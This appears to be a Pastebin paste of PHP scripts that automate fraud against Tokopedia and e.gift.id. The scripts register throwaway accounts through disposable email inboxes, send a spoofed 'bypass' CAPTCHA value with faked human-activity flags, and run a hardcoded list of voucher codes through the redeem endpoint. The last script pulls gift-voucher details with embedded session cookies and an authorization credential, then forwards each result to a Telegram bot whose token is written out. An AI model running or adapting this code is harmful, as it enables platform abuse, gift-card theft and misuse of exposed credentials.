Advertisement
Guest User

sc

a guest
Dec 6th, 2018
924
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.43 KB | None | 0 0
  1. <?php
  2. function getStr($start, $end, $string) {
  3.         if (!empty($string)) {
  4.         $setring = explode($start,$string);
  5.         $setring = explode($end,$setring[1]);
  6.         return $setring[0];
  7.         }
  8.     }
  9. function emailcookie(){
  10. $ch = curl_init();
  11.  
  12.         curl_setopt($ch, CURLOPT_URL, "https://www.tempmailaddress.com/");
  13.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  14.         curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  15.         curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/Cookies.txt');
  16.         curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
  17.        
  18.         $headers = array();
  19.         $headers[] = "Connection: keep-alive";
  20.         $headers[] = "Cache-Control: max-age=0";
  21.         $headers[] = "Upgrade-Insecure-Requests: 1";
  22.         $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
  23.         $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  24.         $headers[] = "Accept-Encoding: gzip, deflate, br";
  25.         $headers[] = "Accept-Language: en-US,en;q=0.9";
  26.         curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  27.        
  28.         $result = curl_exec($ch);
  29.        
  30. }
  31.  
  32. function email(){
  33.     emailcookie();
  34.     $fileCookies    = file_get_contents(dirname(__FILE__).'/Cookies.txt');
  35.             $Exploder       = explode('TMA', $fileCookies);
  36.             $Email          = urldecode(trim($Exploder[1]));
  37.         return $Email;
  38. }
  39. function regist($email){
  40.     //$url = "https://gql.tokopedia.com/";
  41.         $nama = ucwords(getStr(".","@",$email));
  42.         $nomor = "0857".rand(12345678,99999999);
  43.     $data = '[{"operationName":"UserRegisterMutation","variables":{"type":"email","email":"'.$email.'","fullname":"'.$nama.'","phone":"'.$nomor.'","password":"123456","csrf":"ALnwSc7WE2QHYNHbz6vaCbDKROLbXr9T","gCaptchaResp":"bypass","isHuman":true,"mouseEvent":true,"keyboardEvent":true,"scrollEvent":false},"query":"mutation UserRegisterMutation($type: String, $csrf: String, $email: String, $phone: String, $fullname: String, $password: String, $gCaptchaResp: String, $isHuman: Boolean, $mouseEvent: Boolean, $keyboardEvent: Boolean, $scrollEvent: Boolean) {\n  UserRegister(type: $type, csrf: $csrf, email: $email, phone: $phone, fullname: $fullname, password: $password, gCaptchaResp: $gCaptchaResp, isHuman: $isHuman, mouseEvent: $mouseEvent, keyboardEvent: $keyboardEvent, scrollEvent: $scrollEvent) {\n    sid\n    uid\n    isActive\n    action\n    isSuccess\n    errors\n    __typename\n  }\n}\n"}]';
  44.        
  45.         $headers = array();
  46.         $headers[] = "Host: gql.tokopedia.com";
  47.         $headers[] = "User-Agent: Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36";
  48.         $headers[] = "Accept-Encoding: gzip, deflate, br";
  49.         $headers[] = "Referer: https://m.tokopedia.com/register";
  50.         $headers[] = "content-type: application/json";
  51. $c = curl_init("https://gql.tokopedia.com/");
  52.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  53.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  54.     curl_setopt($c, CURLOPT_POSTFIELDS, $data);
  55.     curl_setopt($c, CURLOPT_POST, true);
  56.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  57.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  58.     curl_setopt($c, CURLOPT_HEADER, true);
  59.     curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
  60.     $response = curl_exec($c);
  61.     $httpcode = curl_getinfo($c);
  62.     if (!$httpcode)
  63.         return false;
  64.     else {
  65.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  66.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  67.     }
  68.     return $body;
  69. }
  70.  
  71. function verif(){
  72.     $ch = curl_init();
  73.  
  74.             curl_setopt($ch, CURLOPT_URL, "https://www.tempmailaddress.com/email/id/2");
  75.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  76.             curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
  77.             curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/Cookies.txt');
  78.            
  79.             // $headers = array();
  80.             // $headers[] = "Accept-Language: en-US,en;q=0.9";
  81.             // $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
  82.             // $headers[] = "Accept: application/json, text/javascript, */*; q=0.01";
  83.             // $headers[] = "Referer: https://www.tempmailaddress.com/";
  84.             // $headers[] = "Connection: keep-alive";
  85.             // curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  86.            
  87.             $result = curl_exec($ch);
  88.         return $result;
  89. }
  90. function open($link, $cookie){
  91.     //print_r($link);
  92.      $head = explode("\n", 'Host: fapp1.tokopedia.com
  93. Connection: keep-alive
  94. Upgrade-Insecure-Requests: 1
  95. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  96. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  97. Referer: http://ocbot-januy.c9users.io/
  98. Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7');
  99. $c = curl_init($link);
  100.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  101.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  102.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  103.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  104.     curl_setopt($c, CURLOPT_HEADER, true);
  105.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  106.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  107.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  108.     if ($socks):
  109.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  110.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  111.           curl_setopt($c, CURLOPT_PROXY, $socks);
  112.         endif;
  113.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  114.     $response = curl_exec($c);
  115.     $httpcode = curl_getinfo($c);
  116.     if (!$httpcode)
  117.         return false;
  118.     else {
  119.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  120.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  121.     }
  122.     return $body;
  123. }
  124. function cookieredeem($cookie){
  125.     $head = explode("\n", 'Host: pulsa.tokopedia.com
  126. Connection: keep-alive
  127. Upgrade-Insecure-Requests: 1
  128. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  129. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  130. Accept-Language: en-US,en;q=0.9');
  131. $c = curl_init("https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/");
  132.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  133.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  134.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  135.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  136.     curl_setopt($c, CURLOPT_HEADER, true);
  137.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  138.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  139.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  140.     if ($socks):
  141.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  142.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  143.           curl_setopt($c, CURLOPT_PROXY, $socks);
  144.         endif;
  145.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  146.     $response = curl_exec($c);
  147.     $httpcode = curl_getinfo($c);
  148.     if (!$httpcode)
  149.         return false;
  150.     else {
  151.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  152.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  153.     }
  154.     $head = explode("\n", 'Host: pulsa.tokopedia.com
  155. Connection: keep-alive
  156. Accept: application/json, text/javascript, */*; q=0.01
  157. X-Requested-With: XMLHttpRequest
  158. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  159. Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
  160. Accept-Language: en-US,en;q=0.9');
  161. $c = curl_init();
  162.     curl_setopt($c, CURLOPT_URL, "https://pulsa.tokopedia.com/login/ajax");
  163.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  164.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  165.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  166.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  167.     curl_setopt($c, CURLOPT_HEADER, true);
  168.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  169.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  170.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  171.     if ($socks):
  172.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  173.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  174.           curl_setopt($c, CURLOPT_PROXY, $socks);
  175.         endif;
  176.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  177.     $response = curl_exec($c);
  178.     $httpcode = curl_getinfo($c);
  179.     if (!$httpcode)
  180.         return false;
  181.     else {
  182.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  183.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  184.     }
  185.     $json = json_decode($body, true);
  186.     $url = $json['authorize_url'];
  187.     $head = explode("\n", 'Host: accounts.tokopedia.com
  188. Connection: keep-alive
  189. Accept: application/json, text/javascript, */*; q=0.01
  190. Origin: https://pulsa.tokopedia.com
  191. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  192. Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
  193. Accept-Language: en-US,en;q=0.9');
  194. $c = curl_init();
  195.     curl_setopt($c, CURLOPT_URL, $url);
  196.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  197.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  198.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  199.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  200.     curl_setopt($c, CURLOPT_HEADER, true);
  201.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  202.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  203.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  204.     if ($socks):
  205.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  206.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  207.           curl_setopt($c, CURLOPT_PROXY, $socks);
  208.         endif;
  209.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  210.     $response = curl_exec($c);
  211.     $httpcode = curl_getinfo($c);
  212.     if (!$httpcode)
  213.         return false;
  214.     else {
  215.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  216.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  217.     }
  218.     $json = json_decode($body, true);
  219.     $url = $json['url'];
  220.     $head = explode("\n", 'Host: pulsa.tokopedia.com
  221. Connection: keep-alive
  222. Accept: application/json, text/javascript, */*; q=0.01
  223. X-Requested-With: XMLHttpRequest
  224. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  225. Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/
  226. Accept-Language: en-US,en;q=0.9');
  227. $c = curl_init();
  228.     curl_setopt($c, CURLOPT_URL, $url);
  229.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  230.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  231.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  232.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  233.     curl_setopt($c, CURLOPT_HEADER, true);
  234.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  235.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  236.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  237.     if ($socks):
  238.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  239.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  240.           curl_setopt($c, CURLOPT_PROXY, $socks);
  241.         endif;
  242.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  243.     $response = curl_exec($c);
  244.     $httpcode = curl_getinfo($c);
  245.     if (!$httpcode)
  246.         return false;
  247.     else {
  248.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  249.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  250.     }
  251.     return $body;
  252. }
  253. function redeem($cookie, $kode){
  254. $head = explode("\n", 'Host: pulsa.tokopedia.com
  255. Connection: keep-alive
  256. Accept: application/json, text/javascript, */*; q=0.01
  257. X-Requested-With: XMLHttpRequest
  258. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  259. Referer: https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/');
  260. $c = curl_init("https://pulsa.tokopedia.com/gift-card/tokopedia/redeem/check?voucher_code=".$kode);
  261.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  262.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  263.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  264.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  265.     curl_setopt($c, CURLOPT_HEADER, true);
  266.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  267.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  268.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  269.     if ($socks):
  270.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  271.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  272.           curl_setopt($c, CURLOPT_PROXY, $socks);
  273.         endif;
  274.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  275.     $response = curl_exec($c);
  276.     $httpcode = curl_getinfo($c);
  277.     if (!$httpcode)
  278.         return false;
  279.     else {
  280.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  281.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  282.     }
  283.    
  284.     return $body;
  285. }
  286. //$tada = file_get_contents("tada.txt");
  287. //$ex = explode("\n", $tada);
  288.  
  289.  
  290. $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');
  291. $email = email();
  292. $reg = regist($email);
  293. while(true){
  294.     $verif      = verif();
  295.     if(strpos($verif,"Tokopedia")) break;
  296. }
  297.  
  298. //die($verif);
  299. $link  = trim(getStr('<td style="padding: 10px 20px;" align="center">
  300. <a href="',"\n",$verif));
  301. //echo $link;
  302. $open = open($link, $cookie);
  303. $cokredeem= cookieredeem($cookie);
  304. //echo $cokredeem;
  305. $ex = explode("\n", "TADAA9W7AA1T1KMU
  306. TADA739AU54P86AL
  307. TADA4Q9JUPR86T1H
  308. TADAAPCF2N7N3CUX
  309. TADAA66U2R736FJ7
  310. TADAJ3H5APJ9FL5F");
  311. for($i=0; $i<count($ex); $i++){
  312.     $a = $i+1;
  313. $redeem = redeem($cookie, $ex[$i]);
  314. $json = json_decode($redeem, true);
  315. $msg = $json['data']['message'];
  316. $bal = $json['data']['voucher_amount'];
  317. $format = $bal."|".$msg;
  318. echo $a.". ".$ex[$i]."|".$format."\n";
  319. }
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330. /////////////////////////////////////
  331.  
  332.  
  333. <?php
  334.  
  335. function regist($email, $nama, $nomor){
  336.     $data = '[{"operationName":"UserRegisterMutation","variables":{"type":"email","email":"'.$email.'","fullname":"'.$nama.'","phone":"'.$nomor.'","password":"123456","csrf":"ALnwSc7WE2QHYNHbz6vaCbDKROLbXr9T","gCaptchaResp":"bypass","isHuman":true,"mouseEvent":true,"keyboardEvent":true,"scrollEvent":false},"query":"mutation UserRegisterMutation($type: String, $csrf: String, $email: String, $phone: String, $fullname: String, $password: String, $gCaptchaResp: String, $isHuman: Boolean, $mouseEvent: Boolean, $keyboardEvent: Boolean, $scrollEvent: Boolean) {\n  UserRegister(type: $type, csrf: $csrf, email: $email, phone: $phone, fullname: $fullname, password: $password, gCaptchaResp: $gCaptchaResp, isHuman: $isHuman, mouseEvent: $mouseEvent, keyboardEvent: $keyboardEvent, scrollEvent: $scrollEvent) {\n    sid\n    uid\n    isActive\n    action\n    isSuccess\n    errors\n    __typename\n  }\n}\n"}]';
  337.        
  338.         $headers = array();
  339.         $headers[] = "Host: gql.tokopedia.com";
  340.         $headers[] = "User-Agent: Mozilla/5.0 (Linux; Android 9.0; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Mobile Safari/537.36";
  341.         $headers[] = "Accept-Encoding: gzip, deflate, br";
  342.         $headers[] = "Referer: https://m.tokopedia.com/register";
  343.         $headers[] = "content-type: application/json";
  344. $c = curl_init("https://gql.tokopedia.com/");
  345.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  346.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  347.     curl_setopt($c, CURLOPT_POSTFIELDS, $data);
  348.     curl_setopt($c, CURLOPT_POST, true);
  349.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  350.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  351.     curl_setopt($c, CURLOPT_HEADER, true);
  352.     curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
  353.     $response = curl_exec($c);
  354.     $httpcode = curl_getinfo($c);
  355.     if (!$httpcode)
  356.         return false;
  357.     else {
  358.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  359.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  360.     }
  361.     return $body;
  362. }
  363.  
  364. function cekemail($user){
  365.     $headers = array();
  366.         $headers[] = "Host: tokopedia.com";
  367.         $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36";
  368.         $headers[] = "Referer: https://m.tokopedia.com/register";
  369.         $headers[] = "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
  370. $c = curl_init();
  371.     curl_setopt($c, CURLOPT_URL, "http://mailnesia.com/mailbox/osyduck");
  372.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  373.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  374.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  375.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  376.     curl_setopt($c, CURLOPT_HEADER, true);
  377.     curl_setopt($c, CURLOPT_HTTPHEADER, $headers);
  378.     $response = curl_exec($c);
  379.     $httpcode = curl_getinfo($c);
  380.     if (!$httpcode)
  381.         return false;
  382.     else {
  383.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  384.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  385.     }
  386.     //echo $body;
  387.     $kode = explode('" title="Open email">&#x22;-&#x22; &#x3c;anukus@mailservices.win&#x3e;</a></td>', $body);
  388.     $kode = explode('<td><a class="email" onClick="return false;" href="', $kode[1]);
  389.     $kode = explode('"', $kode[1]);
  390.     $url = "http://mailnesia.com".$kode[0];
  391.     //print_r($kode);
  392.    
  393.    
  394.     curl_setopt($c, CURLOPT_URL, $url);
  395.     $response = curl_exec($c);
  396.     $httpcode = curl_getinfo($c);
  397.     if (!$httpcode)
  398.         return false;
  399.     else {
  400.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  401.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  402.     }
  403.     $link = explode('<a href="http://fapp1.tokopedia.com/', $body);
  404.     print_r($link);
  405.     $link = explode('"', $link[2]);
  406.    
  407.     $link = "http://fapp1.tokopedia.com/".$link[0];
  408.     //echo $link;
  409.    //
  410.     $link = str_replace(array("\n", "\r\n", "\r", "amp;"), "", $link);
  411.     return $link;
  412. }
  413. function verif($link, $cookie){
  414.     //print_r($link);
  415.      $head = explode("\n", 'Host: fapp1.tokopedia.com
  416. Connection: keep-alive
  417. Upgrade-Insecure-Requests: 1
  418. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  419. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  420. Referer: http://ocbot-januy.c9users.io/
  421. Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7');
  422. $c = curl_init($link);
  423.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  424.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  425.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  426.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  427.     curl_setopt($c, CURLOPT_HEADER, true);
  428.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  429.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  430.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  431.     if ($socks):
  432.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  433.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  434.           curl_setopt($c, CURLOPT_PROXY, $socks);
  435.         endif;
  436.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  437.     $response = curl_exec($c);
  438.     $httpcode = curl_getinfo($c);
  439.     if (!$httpcode)
  440.         return false;
  441.     else {
  442.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  443.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  444.     }
  445.     return $body;
  446. }
  447.  
  448. function redeem($cookie){
  449.     $head = explode("\n", 'Host: pulsa.tokopedia.com
  450. Connection: keep-alive
  451. Upgrade-Insecure-Requests: 1
  452. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  453. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  454. Accept-Language: en-US,en;q=0.9');
  455. $c = curl_init($link);
  456.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  457.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  458.     curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 0);
  459.     curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
  460.     curl_setopt($c, CURLOPT_HEADER, true);
  461.     curl_setopt($c, CURLOPT_TIMEOUT, 30);
  462.     curl_setopt($c, CURLOPT_COOKIEJAR, $cookie);
  463.     curl_setopt($c, CURLOPT_COOKIEFILE, $cookie);
  464.     if ($socks):
  465.           curl_setopt($c, CURLOPT_HTTPPROXYTUNNEL, true);
  466.           curl_setopt($c, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  467.           curl_setopt($c, CURLOPT_PROXY, $socks);
  468.         endif;
  469.     curl_setopt($c, CURLOPT_HTTPHEADER, $head);
  470.     $response = curl_exec($c);
  471.     $httpcode = curl_getinfo($c);
  472.     if (!$httpcode)
  473.         return false;
  474.     else {
  475.         $header = substr($response, 0, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  476.         $body   = substr($response, curl_getinfo($c, CURLINFO_HEADER_SIZE));
  477.     }
  478.     return $body;
  479. }
  480. $user = "anukus";
  481. //$regist = regist("$user@mailservices.win", "Anto", "085325939593");
  482.  
  483. //echo $regist;
  484. $cek = cekemail($user);
  485. echo $cek;
  486. $verif = verif($cek, "$user.txt");
  487. echo $verif;
  488. //sleep(1);
  489. //echo redeem("topanuku.txt");
  490.  
  491.  
  492. ////////////////////////////////////////////////////////////////////////////////////
  493.  
  494.  
  495.  
  496. <?php
  497. error_reporting(0);
  498. function rande($length = 7) {
  499.     $characters = '0123456789';
  500.     $charactersLength = strlen($characters);
  501.     $randomString = '';
  502.     for ($i = 0; $i < $length; $i++) {
  503.         $randomString .= $characters[rand(0, $charactersLength - 1)];
  504.     }
  505.     return $randomString;
  506. }
  507. function kode($kode, $socks = null){
  508.     $curl = curl_init();
  509.  
  510. curl_setopt_array($curl, array(
  511.   CURLOPT_URL => "https://e.gift.id/api/egifts/detail/3261/25359068",
  512.   CURLOPT_RETURNTRANSFER => true,
  513.   CURLOPT_ENCODING => "",
  514.   CURLOPT_MAXREDIRS => 10,
  515.   CURLOPT_TIMEOUT => 30,
  516.   CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  517.   CURLOPT_CUSTOMREQUEST => "GET",
  518.   CURLOPT_HTTPHEADER => array(
  519.     "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
  520.     "accept-encoding: gzip, deflate, br",
  521.     "accept-language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  522.     "cache-control: no-cache",
  523.     "cookie: __cfduid=d1612dd53c020baf7c9e280252b76240e1542283759; AWSELB=B7757D8D14F451F1784944891DCB77883AA4290BBB81B9A30F6D4EADA20BC2E7230480FD89683B9E2445E54B4C1505862676CCC94AF1D9023D2F6D8EE8C59604FFC1DB7E25; ms-ga-sess=LBzops7AJW4EYSzKlKCVamaSJ89npIVnZarX23Sgm2y7AOmQW4rurraFEbLzWYieojhuMPnbO3AM4VYXMCxRfeyRcTMMz6Ze4iCI0eEGix6Niz2mkSDCWxmjyclH0UL6MrHal4IAmBelxLMVjhDEcIEByZQ5cqR8hp5NhR9uTgNCcgkgCdTgBHxbLsIUvicvSIMJDc4CxqV6OjMGmH0Evrin2QU0CHiYNEMIqpoKGQdNOLkZJlUYb8cSA3Z3geEo",
  524.     "postman-token: 9d8e9172-f333-0d88-d548-da5d91b577a4",
  525.     "upgrade-insecure-requests: 1",
  526.     "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
  527.   ),
  528. ));
  529.  
  530. $response = curl_exec($curl);
  531. $err = curl_error($curl);
  532.     $json = json_decode($response, true);
  533.     print_r($json);
  534.     $url = "https://e.gift.id/u/".$json['code'];
  535.     $bal = $json['amount'];
  536.     $voc = $json['egift_external']['number'];
  537.     $format = $bal."|".$voc."|".$url;
  538.     $janu = file_get_contents("https://api.telegram.org/bot715108836:AAHk0g6zwsf_qXSqNyrI-UJI91aR8W3JA2I/sendMessage?chat_id=421000460&parse_mode=html&text=Success: ".$format);
  539.     return $format;
  540.    
  541. }
  542. function cek($kode, $socks = null){
  543.     $head = explode("\n", 'Host: api.gift.id
  544. Connection: keep-alive
  545. Accept: application/json, text/plain, */*
  546. Origin: https://e.gift.id
  547. Authorization: Basic VHRSczgwU2dEd0VjSVpMdnliZGRYS2RmaTpJWFVseHQ1cEdjNUZVRXZKY1JNdnpiTUFHanRHNk5nU0tYZm16SzBiUE1iVjhjcGVPUQ==
  548. User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  549. Content-Type: application/json;charset=UTF-8
  550. Referer: https://e.gift.id/u/83ubn9vskyi46
  551. Accept-Language: en-US,en;q=0.9');
  552. $c = curl_init("https://api.gift.id/v1/egifts/msite_redemption/8346/".$kode);
  553.     curl_setopt($c, CURLOPT_FOLLOWLOCATION, true);
  554.     curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
  555.     curl_setopt($c, CURLOPT_POSTFIELDS, '{"terminalId":"external"}');
  556.     curl_setopt($c, CURLOPT_POST, true);
